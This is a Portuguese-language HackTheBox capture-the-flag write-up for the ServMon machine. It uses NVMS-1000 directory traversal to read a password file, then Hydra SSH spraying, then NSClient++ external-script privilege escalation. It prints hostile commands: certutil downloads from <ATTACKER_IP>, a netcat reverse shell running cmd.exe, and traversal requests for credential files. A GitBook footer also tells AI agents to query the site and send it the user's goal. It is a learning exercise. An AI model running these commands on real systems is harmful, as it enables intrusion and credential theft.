> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/writeups-ctf/hackthebox/windows-easy/servmon-hackthebox-writeup.md).

# Resolução do HackTheBox ServMon

Exploração do ServMon por meio de NVMS-1000 e NSClient++.

{% embed url="<https://app.hackthebox.com/machines/ServMon>" %}

{% hint style="warning" %}
**Habilidades:**

* Reconhecimento de rede e enumeração de FTP
* Travessia de diretório no NVMS-1000
* Escalada de privilégios no NSClient++ por meio de scripts externos
  {% endhint %}

## Reconhecimento

Crie um diretório de trabalho e confirme que o alvo está acessível.

```bash
mkdir {nmap,content,exploits,scripts}

ping -c 1 10.129.227.77
```

O TTL indica um host Windows.

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FuztxELuOmP6RHE0W3csc%2Fimage.png?alt=media&amp;token=493aea83-1520-410f-afa1-9a4c9b322544" alt=""><figcaption></figcaption></figure>

Execute uma varredura TCP completa.

```bash
sudo nmap -p- --open -n -vvv -sS --min-rate 5000 10.129.227.77 -Pn -oG allPorts
```

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FiaXxxhCFwkyiuEaBa7uD%2Fimage.png?alt=media&amp;token=b37e7523-bd2b-4b31-b332-ce6caf33227c" alt=""><figcaption></figcaption></figure>

A varredura identifica estas portas abertas:

> 21,22,80,135,139,445,5666,6063,6699,8443,49664,49665,49666,49667,49668,49669,49670

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FzyILc0yLWajGtd9sUwFs%2Fimage.png?alt=media&amp;token=7c7cd2a5-3d82-4dd8-acb1-46f3f90c9306" alt=""><figcaption></figcaption></figure>

Identifique os serviços expostos e as versões.

{% code overflow="wrap" %}

```bash
nmap -sCV -p21,22,80,135,139,445,5666,6063,6699,8443,49664,49665,49666,49667,49668,49669,49670 10.129.227.77 -oN targeted
```

{% endcode %}

As descobertas relevantes são:

{% code overflow="wrap" %}

```java
# Varredura do Nmap 7.93 iniciada em Wed Sep 23 10:50:11 2026 as: nmap -sCV -p21,22,80,135,139,445,5666,6063,6699,8443,49664,49665,49666,49667,49668,49669,49670 -oN targeted 10.129.227.77
Relatório de varredura do Nmap para 10.129.227.77
Host está ativo (0.030s de latência).

PORTA     ESTADO SERVIÇO       VERSÃO
21/tcp    aberta ftp           Microsoft ftpd
| ftp-syst: 
|_  SYST: Windows_NT
| ftp-anon: Login FTP anônimo permitido (código FTP 230)
|_02-28-22  07:35PM       <DIR>          Users
22/tcp    aberta ssh           OpenSSH for_Windows_8.0 (protocolo 2.0)
| ssh-hostkey: 
|   3072 c71af681ca1778d027dbcd462a092b54 (RSA)
|   256 3e63ef3b6e3e4a90f34c02e940672e42 (ECDSA)
|_  256 5a48c8cd39782129effbae821d03adaf (ED25519)
80/tcp    aberta http
| fingerprint-strings: 
|   GetRequest, HTTPOptions, RTSPRequest: 
|     HTTP/1.1 200 OK
|     Content-type: text/html
|     Content-Length: 340
|     Connection: close
|     AuthInfo: 
|     <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
|     <html xmlns="http://www.w3.org/1999/xhtml">
|     <head>
|     <title></title>
|     <script type="text/javascript">
|     window.location.href = "Pages/login.htm";
|     </script>
|     </head>
|     <body>
|     </body>
|     </html>
|   NULL: 
|     HTTP/1.1 408 Request Timeout
|     Content-type: text/html
|     Content-Length: 0
|     Connection: close
|_    AuthInfo:
|_http-title: O site não tem um título (text/html).
135/tcp   aberta msrpc         Microsoft Windows RPC
139/tcp   aberta netbios-ssn   Microsoft Windows netbios-ssn
445/tcp   aberta microsoft-ds?
5666/tcp  aberta tcpwrapped
6063/tcp  aberta tcpwrapped
6699/tcp  aberta napster?
8443/tcp  aberta ssl/https-alt
| http-title: NSClient++
|_Recurso solicitado foi /index.html
|_ssl-date: a aleatoriedade do TLS não representa o tempo
| fingerprint-strings: 
|   FourOhFourRequest, HTTPOptions, RTSPRequest, SIPOptions: 
|     HTTP/1.1 404
|     Content-Length: 18
|     Documento não encontrado
|   GetRequest: 
|     HTTP/1.1 302
|     Content-Length: 0
|     Location: /index.html
|     workers
|_    jobs
| ssl-cert: Subject: commonName=localhost
| Não válido antes de: 2020-01-14T13:24:20
|_Não válido depois de:  2021-01-13T13:24:20
49664/tcp aberta msrpc         Microsoft Windows RPC
49665/tcp aberta msrpc         Microsoft Windows RPC
49666/tcp aberta msrpc         Microsoft Windows RPC
49667/tcp aberta msrpc         Microsoft Windows RPC
49668/tcp aberta msrpc         Microsoft Windows RPC
49669/tcp aberta msrpc         Microsoft Windows RPC
49670/tcp aberta msrpc         Microsoft Windows RPC
2 serviços não foram reconhecidos apesar de retornarem dados. Se você conhece o serviço/versão, envie as seguintes impressões digitais em https://nmap.org/cgi-bin/submit.cgi?new-service :
==============PRÓXIMA IMPRESSÃO DIGITAL DE SERVIÇO (ENVIE INDIVIDUALMENTE)==============
SF-Port80-TCP:V=7.93%I=7%D=9/23%Time=6AB392CA%P=x86_64-pc-linux-gnu%r(NULL
SF:,6B,"HTTP/1\.1\x20408\x20Request\x20Timeout\r\nContent-type:\x20text/ht
SF:ml\r\nContent-Length:\x200\r\nConnection:\x20close\r\nAuthInfo:\x20\r\n
SF:\r\n")%r(GetRequest,1B4,"HTTP/1\.1\x20200\x20OK\r\nContent-type:\x20tex
SF:t/html\r\nContent-Length:\x20340\r\nConnection:\x20close\r\nAuthInfo:\x
SF:20\r\n\r\n\xef\xbb\xbf<!DOCTYPE\x20html\x20PUBLIC\x20\"-//W3C//DTD\x20X
SF:HTML\x201\.0\x20Transitional//EN\"\x20\"http://www\.w3\.org/TR/xhtml1/D
SF:TD/xhtml1-transitional\.dtd\">\r\n\r\n<html\x20xmlns=\"http://www\.w3\.
SF:org/1999/xhtml\">\r\n<head>\r\n\x20\x20\x20\x20<title></title>\r\n\x20\
SF:x20\x20\x20<script\x20type=\"text/javascript\">\r\n\x20\x20\x20\x20\x20
SF:\x20\x20\x20window\.location\.href\x20=\x20\"Pages/login\.htm\";\r\n\x2
SF:0\x20\x20\x20</script>\r\n</head>\r\n<body>\r\n</body>\r\n</html>\r\n")
SF:%r(HTTPOptions,1B4,"HTTP/1\.1\x20200\x20OK\r\nContent-type:\x20text/htm
SF:l\r\nContent-Length:\x20340\r\nConnection:\x20close\r\nAuthInfo:\x20\r\
SF:n\r\n\xef\xbb\xbf<!DOCTYPE\x20html\x20PUBLIC\x20\"-//W3C//DTD\x20XHTML\
SF:x201\.0\x20Transitional//EN\"\x20\"http://www\.w3\.org/TR/xhtml1/DTD/xh
SF:tml1-transitional\.dtd\">\r\n\r\n<html\x20xmlns=\"http://www\.w3\.org/1
SF:999/xhtml\">\r\n<head>\r\n\x20\x20\x20\x20<title></title>\r\n\x20\x20\x
SF:20\x20<script\x20type=\"text/javascript\">\r\n\x20\x20\x20\x20\x20\x20\
SF:x20\x20window\.location\.href\x20=\x20\"Pages/login\.htm\";\r\n\x20\x20
SF:\x20\x20</script>\r\n</head>\r\n<body>\r\n</body>\r\n</html>\r\n")%r(RT
SF:SPRequest,1B4,"HTTP/1\.1\x20200\x20OK\r\nContent-type:\x20text/html\r\n
SF:Content-Length:\x20340\r\nConnection:\x20close\r\nAuthInfo:\x20\r\n\r\n
SF:\xef\xbb\xbf<!DOCTYPE\x20html\x20PUBLIC\x20\"-//W3C//DTD\x20XHTML\x201\
SF:.0\x20Transitional//EN\"\x20\"http://www\.w3\.org/TR/xhtml1/DTD/xhtml1-
SF:transitional\.dtd\">\r\n\r\n<html\x20xmlns=\"http://www\.w3\.org/1999/x
SF:html\">\r\n<head>\r\n\x20\x20\x20\x20<title></title>\r\n\x20\x20\x20\x2
SF:0<script\x20type=\"text/javascript\">\r\n\x20\x20\x20\x20\x20\x20\x20\
SF:20window\.location\.href\x20=\x20\"Pages/login\.htm\";\r\n\x20\x20\x20\
SF:x20</script>\r\n</head>\r\n<body>\r\n</body>\r\n</html>\r\n");
==============PRÓXIMA IMPRESSÃO DIGITAL DE SERVIÇO (ENVIE INDIVIDUALMENTE)==============
SF-Port8443-TCP:V=7.93%T=SSL%I=7%D=9/23%Time=6AB392D0%P=x86_64-pc-linux-gn
SF:u%r(GetRequest,74,"HTTP/1\.1\x20302\r\nContent-Length:\x200\r\nLocation
SF::\x20/index\.html\r\n\r\n\0\0\0\0\0\0\0\0\0\0W\x02\0\0\0\0\0\0\0\0\0\0\
SF:0\0\0\0\0\0\0\x12\x02\x18\0\x1aE\n\x07workers\x12\x0b\n\x04jobs\x12\x03
SF:\x18\xbc\x02\x12")%r(HTTPOptions,36,"HTTP/1\.1\x20404\r\nContent-Length
SF::\x2018\r\n\r\nDocument\x20not\x20found")%r(FourOhFourRequest,36,"HTTP/
SF:1\.1\x20404\r\nContent-Length:\x2018\r\n\r\nDocument\x20not\x20found")%
SF:r(RTSPRequest,36,"HTTP/1\.1\x20404\r\nContent-Length:\x2018\r\n\r\nDocu
SF:ment\x20not\x20found")%r(SIPOptions,36,"HTTP/1\.1\x20404\r\nContent-Len
SF:gth:\x2018\r\n\r\nDocument\x20not\x20found");
Informações do serviço: SO: Windows; CPE: cpe:/o:microsoft:windows

Resultados dos scripts do host:
| smb2-security-mode: 
|   311: 
|_    Assinatura de mensagens habilitada, mas não obrigatória
| smb2-time: 
|   date: 2026-09-23T08:52:06
|_  start_date: N/A

A detecção de serviço foi executada. Reporte quaisquer resultados incorretos em https://nmap.org/submit/ .
# Nmap concluído em Wed Sep 23 10:52:19 2026 -- 1 endereço IP (1 host ativo) verificado em 128.03 seconds

```

{% endcode %}

### Enumeração de FTP

O acesso anônimo ao FTP está habilitado.

{% code overflow="wrap" %}

```bash
ftp anonymous@10.129.227.77
```

{% endcode %}

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FBRENYqqDVOGjDtL9i53l%2Fimage.png?alt=media&amp;token=64c0b941-2b75-4015-868d-12738ea06557" alt=""><figcaption></figcaption></figure>

O `Users/Nadine` o diretório contém uma nota para Nathan.

{% code overflow="wrap" %}

```bash
Nathan,

Eu deixei seu arquivo Passwords.txt na sua área de trabalho. Remova-o depois de editá-lo você mesmo e coloque-o de volta na pasta segura.

Atenciosamente

Nadine
```

{% endcode %}

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FLXE4C2ZETrBMjAA3Evej%2Fimage.png?alt=media&amp;token=cb94c19b-90d4-45a5-8ec6-5d4c8a74d904" alt=""><figcaption></figcaption></figure>

O diretório do Nathan contém a seguinte lista de tarefas:

{% code overflow="wrap" %}

```bash
1) Alterar a senha do NVMS - Concluído
2) Restringir o acesso do NSClient - Concluído
3) Enviar as senhas
4) Remover o acesso público ao NVMS
5) Colocar os arquivos secretos no SharePoint
```

{% endcode %}

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2F4AzP567CX8Fy1j36NJ4a%2Fimage.png?alt=media&amp;token=ef7c9298-5a52-4bfc-b1a4-7f1a8e8046a2" alt=""><figcaption></figcaption></figure>

### Travessia de diretório no NVMS-1000

Porta `80` hospeda o NVMS-1000.

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2F6462GuHClJm98TKRUDaZ%2Fimage.png?alt=media&amp;token=e41e0ff1-7ca0-4b27-bc08-a97c6e61c716" alt=""><figcaption></figcaption></figure>

O Searchsploit identifica uma vulnerabilidade de travessia de diretório.

{% code overflow="wrap" %}

```bash
searchsploit nvms 1000
```

{% endcode %}

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FgGx30tOQeTkh40ibnmSq%2Fimage.png?alt=media&amp;token=92391b4f-4602-4a5e-b0a3-4bf73961fdb6" alt=""><figcaption></figcaption></figure>

A seguinte prova de conceito confirma inclusão local de arquivos:

{% embed url="<https://github.com/AruN4Sa7/Manual-Exploitation-Development-For-TVT-NVMS-1000-suffers-from-a-directory-traversal-vulnerabilit>" %}

{% code overflow="wrap" %}

```bash
curl --path-as-is http://10.129.227.77/../../../../../../../../../../../../windows/win.ini
```

{% endcode %}

A resposta confirma que arquivos locais arbitrários podem ser lidos.

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FMGuETg3G1dio9K18D2PK%2Fimage.png?alt=media&amp;token=342f3760-19b5-4987-88b4-1deadd1119d8" alt=""><figcaption></figcaption></figure>

Leia o arquivo de senhas do Nathan:

{% code overflow="wrap" %}

```bash
curl --path-as-is http://10.129.227.77/../../../../../../../../../../../../Users/Nathan/Desktop/Passwords.txt 
```

{% endcode %}

> 1nsp3ctTh3Way2Mars!\
> Th3r34r3To0M4nyTrait0r5!\
> B3WithM30r4ga1n5tMe\
> L1k3B1gBut7s\@W0rk\
> 0nly7h3y0unGWi11F0l10w\
> IfH3s4b0Utg0t0H1sH0me\
> Gr4etN3w5w17hMySk1Pa5$

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FufhlEkDZmxdmBtXJUgej%2Fimage.png?alt=media&amp;token=2f999fec-ef75-4860-812e-4f822fac4557" alt=""><figcaption></figcaption></figure>

Teste as senhas recuperadas contra os usuários locais conhecidos.

<pre class="language-bash" data-overflow="wrap"><code class="lang-bash">hydra -l nadine -P passwords.txt ssh://10.129.227.77 -s 22 -t 15
<strong>hydra -l nathan -P passwords.txt ssh://10.129.227.77 -s 22 -t 15
</strong></code></pre>

Isso identifica credenciais SSH válidas:

* nadine
* L1k3B1gBut7s\@W0rk

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FkEv3Cr5O4oXfWp8ykiKi%2Fimage.png?alt=media&amp;token=b2d36d35-c2cb-4a9b-a753-01fe7b04b593" alt=""><figcaption></figcaption></figure>

Conecte-se via SSH como Nadine.

{% code overflow="wrap" %}

```bash
ssh nadine@10.129.227.77
```

{% endcode %}

Leia a flag do usuário.

{% code overflow="wrap" %}

```bash
type C:\Users\Nadine\Desktop\user.txt
```

{% endcode %}

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Ft97c5IToPEHDFps98KB0%2Fimage.png?alt=media&amp;token=62c2bc74-cb06-41be-aaa0-0b3128a30552" alt=""><figcaption></figcaption></figure>

## Escalada de privilégios com NSClient++

O NSClient++ está instalado em `C:\Program Files`.

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2F7BxWRuJpkhdjgxSl6UZZ%2Fimage.png?alt=media&amp;token=af33c141-ded8-4b45-8df7-e27c36be6f2a" alt=""><figcaption></figcaption></figure>

Exiba a senha da interface web do NSClient++.

{% code overflow="wrap" %}

```bash
nscp web -- password --display
```

{% endcode %}

* ew2x6SsGTxjRwXOT

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FEN9iqBDmnepnngEClbMR%2Fimage.png?alt=media&amp;token=91650362-0d14-4a65-b868-0ded2e21b031" alt=""><figcaption></figcaption></figure>

A interface web escuta na porta `8443`.

### Configure um script externo do NSClient++

Esta técnica segue as instruções publicadas do exploit do NSClient++.

{% embed url="<https://www.exploit-db.com/exploits/46802>" %}

Confirme a versão instalada do NSClient++.

{% code overflow="wrap" %}

```bash
nscp --version
```

{% endcode %}

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FkiV1M84mNR6YXQRArlZb%2Fimage.png?alt=media&amp;token=7cf4fba8-3579-470c-9393-847dc70e1cfa" alt=""><figcaption></figcaption></figure>

O serviço está vinculado localmente. Acesse-o por meio de um túnel SSH.

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FEf99TEkPD0kXopqr1iXh%2Fimage.png?alt=media&amp;token=79d00ca6-82f9-479c-b5f4-4199250a9c79" alt=""><figcaption></figcaption></figure>

vamos fazer encaminhamento de portas

{% code overflow="wrap" %}

```bash
ssh -L 8443:127.0.0.1:8443 nadine@10.129.227.77
```

{% endcode %}

Abrir `https://127.0.0.1:8443` e autentique-se com a senha recuperada.

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FT66HFdAZnWr7LfJY0fTT%2Fimage.png?alt=media&amp;token=11655f08-6117-48c1-ba12-061bc8610bfa" alt=""><figcaption></figcaption></figure>

Certifique-se de que estes módulos estejam habilitados:

```bash
CheckExternalScripts
Scheduler
```

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FojqMY5pRFXD4O3vzu8jo%2Fimage.png?alt=media&amp;token=875858f2-56e4-4db0-bd32-584c698f1a45" alt=""><figcaption></figcaption></figure>

Transferir `nc.exe` e o payload para o alvo.

{% code overflow="wrap" %}

```bash
localize nc.exe

mv /opt/lists/seclists/Web-Shells/FuzzDB/nc.exe .
    
python3 -m http.server 8081
```

{% endcode %}

No alvo, baixe ambos os arquivos:

{% code overflow="wrap" %}

```bash
certutil -urlcache -split -f "http://<ATTACKER_IP>:8081/nc.exe" nc.exe
certutil -urlcache -split -f "http://<ATTACKER_IP>:8081/evil.bat" evil.bat
```

{% endcode %}

Criar `evil.bat` no alvo:

{% code overflow="wrap" %}

```bash
@echo off
C:\Users\Nadine\Desktop\nc.exe <ATTACKER_IP> 443 -e cmd.exe
```

{% endcode %}

Inicie um listener na porta `443`.

{% code overflow="wrap" %}

```bash
sudo rlwrap nc -nvlp 443
```

{% endcode %}

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FG2hGBW5tC241SgZbii0R%2Fimage.png?alt=media&amp;token=94a15ed0-4d78-4bf7-a9d3-95de5b6c8ff4" alt=""><figcaption></figcaption></figure>

Crie um script externo na interface web do NSClient++:

{% code overflow="wrap" %}

```bash
Configurações > Scripts Externos > Scripts
Seção: /settings/external scripts/scripts/evil
Chave : command
Valor: C:\Users\Nadine\Desktop\evil.bat
```

{% endcode %}

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Feo5Fg9P404w5m3uCYA6I%2Fimage.png?alt=media&amp;token=2b8ce8d1-8389-4d17-a745-f4b853358c73" alt=""><figcaption></figcaption></figure>

Crie um agendamento em **Configurações → Agendador → Agendamentos**.

Defina o intervalo:

{% code overflow="wrap" %}

```bash
Seção: /settings/scheduler/schedules/evil
Chave: interval
Valor: 1m
```

{% endcode %}

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FfSaicrWxdHfiywQanquy%2Fimage.png?alt=media&amp;token=c14be532-14ca-4161-a2bb-f68bb3dae0a4" alt=""><figcaption></figcaption></figure>

Configure o comando agendado:

{% code overflow="wrap" %}

```bash
Seção: /settings/scheduler/schedules/evil
Chave: command
Valor: evil
```

{% endcode %}

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FmV3EVbROLAVVm8DfP1vA%2Fimage.png?alt=media&amp;token=a13df7db-ab6f-44bd-b43d-512abc55a33d" alt=""><figcaption></figcaption></figure>

Salve as configurações e reinicie o serviço.

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FY4uMHCNiP7fBkoVHCK6D%2Fimage.png?alt=media&amp;token=581d9c21-0d5f-497b-85bf-db5509300837" alt=""><figcaption></figcaption></figure>

Execute a consulta para acionar o script agendado. O listener recebe um shell como `SYSTEM`.

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FCNxXBglNfZjXNA7uUQ90%2Fimage.png?alt=media&amp;token=d563cc8c-a1c6-4749-b253-1ca2155d1d6d" alt=""><figcaption></figcaption></figure>

Leia a flag de root.

{% code overflow="wrap" %}

```bash
type C:\Users\Administrator\Desktop\root.txt
```

{% endcode %}

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FWj9Z76S4Er0DEXJbYdWa%2Fimage.png?alt=media&amp;token=a854dee1-64b8-410a-b10b-11d79a3f85a5" alt=""><figcaption></figcaption></figure>

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2F4Ss0vMU9FmNpHZ0Kv8Xt%2Fimage.png?alt=media&amp;token=8c774999-2d45-4bb9-80c3-600e61e18990" alt="" width="316"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/pt-br/writeups-ctf/hackthebox/windows-easy/servmon-hackthebox-writeup.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
